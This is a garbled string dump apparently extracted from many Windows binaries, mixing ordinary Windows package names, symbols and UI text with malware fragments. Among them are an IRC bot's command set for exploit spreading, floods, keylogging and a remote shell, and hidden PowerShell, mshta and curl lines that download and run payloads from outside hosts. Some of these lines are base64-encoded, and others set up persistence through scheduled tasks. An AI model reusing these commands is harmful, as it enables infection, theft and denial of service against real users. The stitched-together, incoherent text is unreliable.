n.JumplistActionItemType[n.JumplistActionItemType.PinToStartScreen]:case n.JumplistActionItemType[n.JumplistActionItemType.S_CopyFullPath]:case n.JumplistActionItemType[n.JumplistActionItemType.S_CopyPersonDetails]:return!1;default:return!0}}static instrumentItemClickForContextMenu(i,r,u,f,e,o,s){if(r.getHandoffType()!=999){if(this.isContextMenuVerbClickEvent(s)){let n=t.createBaseCustomGPingPayload(e,o);t.addContextMenuDataToGPingPayload(n,s);t.instrumentItemClickAndGPing(n,i,r,u,f,e)}else t.instrumentLayoutItemSelect(r,u);if(n.Host.getLogUserActivityDataEnabled()){if(n.config.ssrBugFixes){const n=r.getUserEngagementContent();n&&(n.contextMenuAction=s)}t.instrumentActionsOnSuggestion(r,2)}}}static instrumentItemClick(n,i,r,u,f,e){let o=i.getHandoffType();if(o!=999)if(o==998||o==997)t.instrumentLayoutItemSelect(i,r);else{let o=t.createBaseCustomGPingPayload(f,e);if(i.getProperties()){let n=i.getProperties();t.addExtraPropsToGPingPayload(o,n)}t.in
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\vmtoolsd\vmtoolsd.pdb
      <windowsSettings>
         <dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2,PerMonitor</dpiAwareness>
         <dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">True/PM</dpiAware>
      </windowsSettings>
QiniSoftware\Microsoft\Windows\ynkelige\Uninstall\energimarked\leggyorlogskaptajnerne\Theriotropht
WindowsFormsApplication1W
%SystemRoot%\system32\mswsock.dll
to WindowsH
-windowstyle hidden
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
ntpassntscan139ntscan445lsass_445lsass_135lsass_139dcom1025dcom2iis5sslbeagle1beagle2mydoomoptixnetdevildamewarekuang2cmd[003]%s|%i|pleaz_run%spleaz_run_donepass_pleazpass_pleaz%s[%s]: exploiting ip: %s.[%s]: exploiting ip: %s, password: (%s)[%s]: exploiting ip: (%s:%d) user: (%s/%s).[%s]: exploiting ip: %s, share: \%s, user: (%s/%s)\%s\pipe\epmapperwinxp professional    [universal] lsass.exeecho open %s %d > o&echo user 1 1 >> o &echo getexec master..xp_cmdshell 'tftp -i %s get %s'%s cd key: (%s).server: mybot*@*.fbi.gov*@.fbi.gov$rndnick%sdel.batpaypal.comsoftware\microsoft\oleclonestopicmpfloodhttpstopddos floodsynstopsyn floodudpstopudp floodpingstopping floodtftpstopscanstopscanstatsnetinfosysinfogetcdkeysgetclipopencmdcmdstopexploit statistics:scan not active.Server started on Port: %d, File: %s, Request: %s.server listening on ip: %s:%d, directory: %s\.done with flood (%ikb/sec).downloaded %.1fkb to %s @ %.1fkb/sec. updating.bot started.status: ready. bot uptime: %s.bot id: %s.[main]: network info.[main]: system info.removing bot.[main]: get clipboard.[keylog]: %s[findfile]: searching for file: %s.the windows logon (pid: <%d>) information is: domain: \%s, user: (%s/[icmp]: done with %s flood to ip: %s. sent: %d packet(s) @ %dkb/sec (%dmb).[net]: %s <server: %s> <message: %s>[ping]: error sending pings to %s.[ping]: finished sending pings to %s.[psniff]: suspicious %s packet from: %s:%d - %s.[secure]: failed to start secure thread, error: <%d>.[socks4]: server started on: %s:%d.[email]: message sent to %s.[secure]: dcom enabled.[redirect]: client connection from ip: %s:%d, server thread: %d.[visit]: url visited.[syn]: done with flood (%ikb/sec).[sysinfo]: [cpu]: %i64umhz. [ram]: %skb total, %skb free. [disk]: %s total, %s free. [os]: windows %s (%d.%d, build %d). [sysdir]: %s. [hostname]: %s (%s). [current user]: %s. [date]: %s. [time]: %s. [uptime]: %s.[netinfo]: [type]: %s (%s). [ip address]: %s. [hostname]: %s.[threads]: list threads.[log]: listing log.[log]: failed to start listing thread, error: <%d>.[proc]: listing processes:[procs]: proccess list.[cdkeys]: search completed.[cmd]: remote shell already running.[cmd]: remote shell ready.[update]: bot id must be different than current running process.[findfile]: searching for file: %s in: %s.flooding: (%s) for %s seconds.failed to start flood thread, error: <%d>.invalid flood time must be greater than 0.j
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
DriverData=C:\Windows\System32\Drivers\DriverData
Windows.Data.BlueLightReduction.ScheduleTime
Windows.Data.BlueLightReduction.ScheduleTime
Windows.Data.Platform.LocalCache.BlobReference
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
shellcommon\undockeddevkit\libs\windowsudk.services.onesettings\onesettingsmanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.storage.search\polarisconfiguration.cpp
shellcommon\undockeddevkit\libs\windowsudk.storage.search\searchfolderhelper.cpp
shellcommon\undockeddevkit\libs\windowsudk.storage.storageitem\storageitem.cpp
6shellcommon\undockeddevkit\libs\windowsudk.system\activation.cpp
shellcommon\undockeddevkit\libs\windowsudk.system\launcher.cpp
shellcommon\undockeddevkit\libs\windowsudk.system\user.cpp
shellcommon\undockeddevkit\libs\windowsudk.services.unifiedconsent\windowsaccountsyncconsentcoordinator.cpp
shellcommon\undockeddevkit\libs\windowsudk.services.unifiedconsent\windowsaccountsyncconsentlauncher.cpp
shellcommon\undockeddevkit\libs\windowsudk.storage\cloudrestore.cpp
Ashellcommon\undockeddevkit\libs\windowsudk.storage\cloudstore.cpp
shellcommon\undockeddevkit\libs\windowsudk.security.authentication.web.provider\webaccountmanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.security.authorization\securitydescriptormanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.security.authorization.appcapabilityaccess\security.authorization.appcapabilityaccess.appcapability.cpp
shellcommon\undockeddevkit\libs\windowsudk.security.authorization.capabilities\capabilitychecker.cpp
C:\WINDOWS\wdefender\Windows Anti-malware autorun Service.exeC
Windows Anti-malware autorun ServiceW
c:\windows\system32\windowspowershell\v1.0\powershell.exe-
c:\windows\system32\windowspowershell\v1.0\powershell.exestart-process\"c:\programfiles(x86)\microsoft\edge\application\msedge.exe\"http://woniulock.com/jump.html
 Windows
 Windows
y"my_fwrules","get-firewallrules","","misc","fwrules","info","listwindowsfirewallrules","list",false
\Roaming\Microsoft\Windows\Start Menu\Program
c:\windows\syswow64\cmd.exe/ccurl-s-oc:\users\public\udkxtqletb.bathttps://tvdseo.com/file/quan.bat&start/minc:\users\public\udkxtqletb.bat
c:\windows\system32\cmd.exe/cstartexplorer.exe"
c:\windows\system32\cmd.exe/v/k"start/min""powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-encodedcommand
xgmshta.exel-k}^zc:\windows\system32\mshta.exe%windir%\system32\#http://a0715242.xsph.ru/integer.mp3%windir%\system32\setupapi.dll%windir%
Shell collectionCurrency("c:\windows\system32\cmd /c ")curBoolButt = "!"& Chr(
windows
windows
windows
windows
windows
windows
del /f /q "%s" cmd /c start /b  /ru system /sc @echo off&schtasks /Windows Server 2etconnectionid!=le|findstr RUNNIGetNativeSyC:\\windows\tempRansom:Win32/Gandcrab.C!MTB
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
discovery-windows.exe
windowsdefenderatplocalonboardingscript.cmd
disable-windowsfirewalllocalsmbrules.ps1
SetWindowsHookEx
<"WindowsPo" + "werShell\v1.0\pow
c:\windows\microsoft.net\framework\v4.0.30319\regsvcsD
WINDOWS.SYSTEM.DISPATCHERQUEUECONTROLLER
MICROSOFT.WINDOWS.SHELLEXPERIENCEHOST_CW5N1H2TXYEWY
WINDOWS.INTERNAL.STATEREPOSITORY.PACKAGE
WINDOWS.INTERNAL.STATEREPOSITORY.APPLICATIONEXTENSION
WINDOWS.APPLICATIONMODEL.INTERNAL.STARTUPTASKINTERNAL
Microsoft.Windows.AppLifecycle
WINDOWS.APPLICATIONMODEL.DATATRANSFER.DATAPACKAGE
WINDOWS.SYSTEM.USERPROFILE.DIAGNOSTICSSETTINGS
MICROSOFT.WINDOWSTERMINAL_8WEKYB3D8BBWE
WINDOWS.UI.VIEWMANAGEMENT.ACCESSIBILITYSETTINGS
GetWindowsDirectoryW
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateString
WindowsCreateStringReference
WINDOWS.INTERNAL.STATEREPOSITORY.APPLICATION
tne, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
EnumWindows
EnumChildWindows
k"http://3z.nu:8080/bxatnluvjx2jzcnpj3oxdacl/yu0/%computername%"i^oh^b=j^h^l^t^t^d%windir%\system32\shell32.dll
"http://q0.wf:8080/brazovseaqdpk1ssspu8jd3/b0/f5vlssw/i/%computername%"/^q^n!%systemroot%\system32\shell32.dll
schtasks/create/tnupdateswinres/tr"%windir%\system32\rundll32.exe%appdata%\microsoft\office\mso
onecoreuap\shell\windows.storage\sharedstoragesources\defviewlock.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\pinnedpeople.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\infotiphelpers.h
onecoreuap\shell\windows.storage\sharedstoragesources\syncrootcommon.h
).exec "c:\windows\explorer " & 
 c:\windows
FWinlogonLogOff
onecoreuap\windows\dwm\dcomp\winrtnested\wrtspatialcomponent.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinteractiontrackervector2inertiamodifier.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtspatialpbrmaterial.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtspatialnodecollection.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtspatialcomponentcollection.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtscenemodeltransform.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionmipmapsurface.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtvisualcaptureg.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtvisualcapture.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinitialvalueexpressioncollection.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionanimationiterator.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositiontarget.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\WrtCompositionVirtualDrawingSurface.h
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtinteropholographictexture.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinteropcursorvisual.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinteropvisualreferencecontroller.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinteropvisualreference.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtinteropddisplayrendertarget.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtinteropremoterendertarget.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinjectionanimator.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtrenderingdevicereplacedeventargs.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtnaturalanimator.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioninteractionsourceiterator.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinitialvalueexpressioncollectionmapview.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinitialvalueexpressioniterator.cpp
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStorI
WindowsSecuritySplashScreen;
WindowsIsStringEmpty
WindowsSubstringWithSpecifiedLength
VirtualBoxSOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce//Google//Chrome//User Data//Default//Preferencesfeidowns.com/
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ModernDeployment.Autopilot.Core.AutopilotWindowsSessionHelpers
Windows.Web.pdb
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<bool>,bool>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<bool> >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_IPackage<struct winrt::Windows::ApplicationModel::IPackage>::Id(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_IPackageId<struct winrt::Windows::ApplicationModel::IPackageId>::FamilyName(void) const
auto __cdecl winrt::impl::consume_Windows_Management_Deployment_IPackageManager9<struct winrt::Windows::Management::Deployment::PackageManager>::SetPackageStubPreference(const struct winrt::param::hstring &,const enum winrt::Windows::Management::Deployment::PackageStubPreference &) const
auto __cdecl winrt::impl::consume_Windows_Services_Store_IStoreContext3<struct winrt::Windows::Services::Store::StoreContext>::CanSilentlyDownloadStorePackageUpdates(void) const
auto __cdecl winrt::impl::consume_Windows_Services_Store_IStoreContext<struct winrt::Windows::Services::Store::IStoreContext>::GetAppAndOptionalStorePackageUpdatesAsync(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> >::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> > >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVectorView<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate>,struct winrt::Windows::Services::Store::StorePackageUpdate>::GetAt(unsigned int) const
auto __cdecl winrt::impl::consume_Windows_Services_Store_IStorePackageUpdate<struct winrt::Windows::Services::Store::IStorePackageUpdate>::Package(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_IPackage4<struct winrt::Windows::ApplicationModel::Package>::IsOptional(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVector<struct winrt::Windows::Foundation::Collections::IVector<struct winrt::Windows::Services::Store::StorePackageUpdate>,struct winrt::Windows::Services::Store::StorePackageUpdate>::Append(const struct winrt::Windows::Services::Store::StorePackageUpdate &) const
auto __cdecl winrt::impl::consume_Windows_Services_Store_IStoreContext3<struct winrt::Windows::Services::Store::StoreContext>::TrySilentDownloadAndInstallStorePackageUpdatesAsync(const struct winrt::param::async_iterable<struct winrt::Windows::Services::Store::StorePackageUpdate> &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperationWithProgress<struct winrt::Windows::Foundation::IAsyncOperationWithProgress<struct winrt::Windows::Services::Store::StorePackageUpdateResult,struct winrt::Windows::Services::Store::StorePackageUpdateStatus>,struct winrt:
setcursorposenumchildwindowsnotifywnd
WindowsCreateStringReference
WindowsCreateString
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
-WINDOWS\Installer\{381B1560-3850-4E80-BD01-781486364F7B}\N
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
3s*c:\windows\system32\cmd.exe/cstart
Spowershell-executionpolicybypass-windowstylehidden-command"start-process-windowstylehidden-filepath'%~f0'-argumentlist'hidden'
Microsoft.Windows.Search.Indexer
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
COMPUTERNAME=WINDOWS11
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
OS=Windows_NT
USERNAME=WINDOWS11$
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
ComSpec=C:\WINDOWS\system32\cmd.exe
1.blob.core.windows.net
\windows\currentversion\app paths!
.indexof('windowsnt6'
M)()].indexof('windowsnt6'
.*/)].indexof('windowsnt6'
appdata\local\microsoft\windows\inetcache\ie\[^\]+\.+%.js
appdata\local\microsoft\windows\appcache\%w+\%d+\.+%.js
appdata\local\packages\microsoft%.outlookforwindows_[^\]+\ac\inetcache\[^\]+\.+%.js
.:\windows\microsoft%.net\assembly\gac_msil\[^\]+\[^\]+\.+%.dll
Microsoft.Windows.
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
4a^windows.comServer
4a^windows.appExtension
\AppData\Roaming\Windows Startup\
GetProcessWindowStation
WindowsFormsApp3.exe
7\windowspowershell\v1.0\
ionecoreuap\windows\cdp\shared\ResourceModelInternal.h
onecoreuap\windows\cdp\shared\InstanceManagerBase.h
c:/windows/system32/d
c:/windows/system32/d
windows\system32\config
WINDOWS\
=c:\windows\system32
.sa-east-1.compute.amazonaws.com/installer.msi"%systemroot%\explorer.exe%wn]nd.q`xdesktop-bl8ccul)@zfx"ck:qem)@zfx"ck:qemay1sps0cgsf"=dsystem32(c:\windows)
msiexec.exe@i)aplicativo@m1spsjc(=oqc:\windows\system32\msiexec.exe91spsmdphh@.=xhh=ikuop
2&ua=mozilla%2f5.0+%28windows+nt+10.0%3b+win64%3b+x64%29+applewebkit%2f537.36+%28khtml%2c+like+gecko%29+chrome%2f128.0.0.0+safari%2f537.36&requrl=http
~$..\..\..\..\windows\system32\cmd.exe/cliveried\
.cmdregsvrc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll%wn]nd.q`xdesktop-850eb32\kk`od|t\kk`od|t1spsxfl8c&mq/s-1-5-21-907230096-304401945-7754889043-100091spsmdphh@.=xhht.%+gweq
cpowershell-windowstylehidden-command
c:\windows\system32\cmd.exe(covid-19)
windows hellop
windows 
}=fso.getspecialfolder(2)+'\\windowsupdate.hta';
if(is_windows()andis_callable('reg_open_key'))
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\token_helpers.h
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.BindFlt
Windows.UI.Xaml.Controls.FontIconSource
Windows.UI.Xaml.Controls.TileGridElementAnimatingEv
Windows.UI.Xaml.Shapes.Rectangle
windows control
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
=pShell ("C:\\Windows\\System32\\cmd.exe /c powershell -encodedcommandSQBFAFgAKABpAHcAcgAgAGgAdAB0AHAAOgAvAC8AYQByAGMAYQBuAHUAcwAtAGIAbABvAG8AbQBzAC4AbQBsADoAOQAwADAAMQAvAEQAcgBvAHAAcABlAHIALgBwAHMAMQAgACkACgA=
Microsoft.Windows.AppLifeCycle
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwboahqayqagaggadab0ahaacwa6ac8alwb0aggazqauaguayqbyahqaaaauagwaaqavah
G@fsku<y.7[cmd.exej-i9vc:\windows\syswow64\cmd.exe/q/cblackbirds\bactericide.cmdc:\windows\syswow64\shlwapi.dll%systemroot%\syswow64\shlwapi.dll%systemroot%
c:\windows\system32\windowspowershell\v1.0\powershell.exestartpowershell-argumentlist'.(dirc:\w*\s*2\m*ta.*e)https://conclaseigboxas.com/lazarus/docusign'
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(
]0c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('mshtahttps://feb-new.oss-cn-guangzhou.aliyuncs.com/pi'-replace
C[c:\windows\system32\windowspowershell\v1.0\powershell.exe.-
jc:\windows\system32\cmd.exe/k
WindowsFqbnVersion
System.Runtime.InteropServices.WindowsRuntime.ICustomPropertyProvider.GetStringRepresentation
!c:\windows\system32\windowspowershell\v1.0\powershell.exe-epbypass-c"$n='___.xlsx.lnk';$p=try{(resolve-path.\$n-eastop).path}catch{(gci$env:temp-filter$n-recurse-force-ea0|sortlastwritetime|select-last1).fullname};$s=(new-object-comobjectwscript.shell).createshortcut($p);iex$s.description"
OS=Windows_NT
Bpyi-windows-manifest
 Windows
rWindows
WindowScrollTopH
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
DriverData=C:\Windows\System32\Drivers\DriverData
9NBLGGH4RZG3Document Manager for Windows 10https://store-images.s-microsoft.com/image/apps.33737.13510798887566628.c27c0b2b-f560-4202-acf8-0be110e2a787.872bd516-6ecb-451d-871e-b0ec2651fb08en
9NBLGGH4RZG3Document Manager for Windows 10https://store-images.s-microsoft.com/image/apps.33737.13510798887566628.c27c0b2b-f560-4202-acf8-0be110e2a787.872bd516-6ecb-451d-871e-b0ec2651fb08fr
9NBLGGH4RZG3Document Manager for Windows 10https://store-images.s-microsoft.com/image/apps.33737.13510798887566628.c27c0b2b-f560-4202-acf8-0be110e2a787.872bd516-6ecb-451d-871e-b0ec2651fb08de
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.SMB.LanmanServer
Microsoft.Windows.TlgAggregateInternal
system32
getSelectedWindowsAccount
Windows.
Windows.
.?AUtype@?$abi@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UAdaptiveImageSetConfig@factory_implementation@Uwp@Rendering@AdaptiveCards@winrt@@UIActivationFactory@Foundation@Windows@6@X@impl@winrt@@
.?AU?$produce@UAdaptiveImageSetConfig@factory_implementation@Uwp@Rendering@AdaptiveCards@winrt@@UIActivationFactory@Foundation@Windows@6@@impl@winrt@@
.?AU?$implements@UAdaptiveImageSetConfig@factory_implementation@Uwp@Rendering@AdaptiveCards@winrt@@UIActivationFactory@Foundation@Windows@6@@winrt@@
.?AU?$root_implements@UAdaptiveImageSetConfig@factory_implementation@Uwp@Rendering@AdaptiveCards@winrt@@UIActivationFactory@Foundation@Windows@6@@impl@winrt@@
.?AU?$producer_convert@UAdaptiveImageSetConfig@factory_implementation@Uwp@Rendering@AdaptiveCards@winrt@@UIActivationFactory@Foundation@Windows@6@X@impl@winrt@@
windows-%u
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-TerminalServices-AppCompat-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat
microsoft\windows\start menu
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
s\system32\cmd.exe/crobocopy"\\
temroot%\system32\imageres.dll%
Microsoft Windows
Microsoft Windows
Microsoft Windows3
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
\obj\Release\x64\Microsoft.Windows.Applica	
%systemroot%\system32\imageres.dll
c:\windows\system32\cmd.exe.renata.barics/v/cs^t^a^rtm^siex^e^c/q^xgzu=f^v^k^p-^pac^k^ag^e"http://2t.pm:8080/aubsgtr/lu7tcbqtxfgij8soc/!computername!"shell32.dll%comspec%
\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddencurlhttp://38.255.42.91/
	.vbs-oc:\windows\temp\debug.vbs;start-processc:\windows\temp\debug.vbs
c:\windows\system32\cmd.exe/ccurl-s-l"https://diskcitylink.com/50ldrdb/xxx.rtf"-o"%appdata%\microsoft\templates\test.rtf"&start"""%appdata%\microsoft\templates\test.rtf"
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"$buxf=&who
	WindowsApps\WinStore.AppT
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVer
GetSystemWindowsDirectoryW
api-ms-win-core-windowserrorreporting-l1-1-0.dll
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.8
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.9
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.10
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.11
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.12
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.13
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.14
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.15
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.16
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.17
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.18
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.19
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.20
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
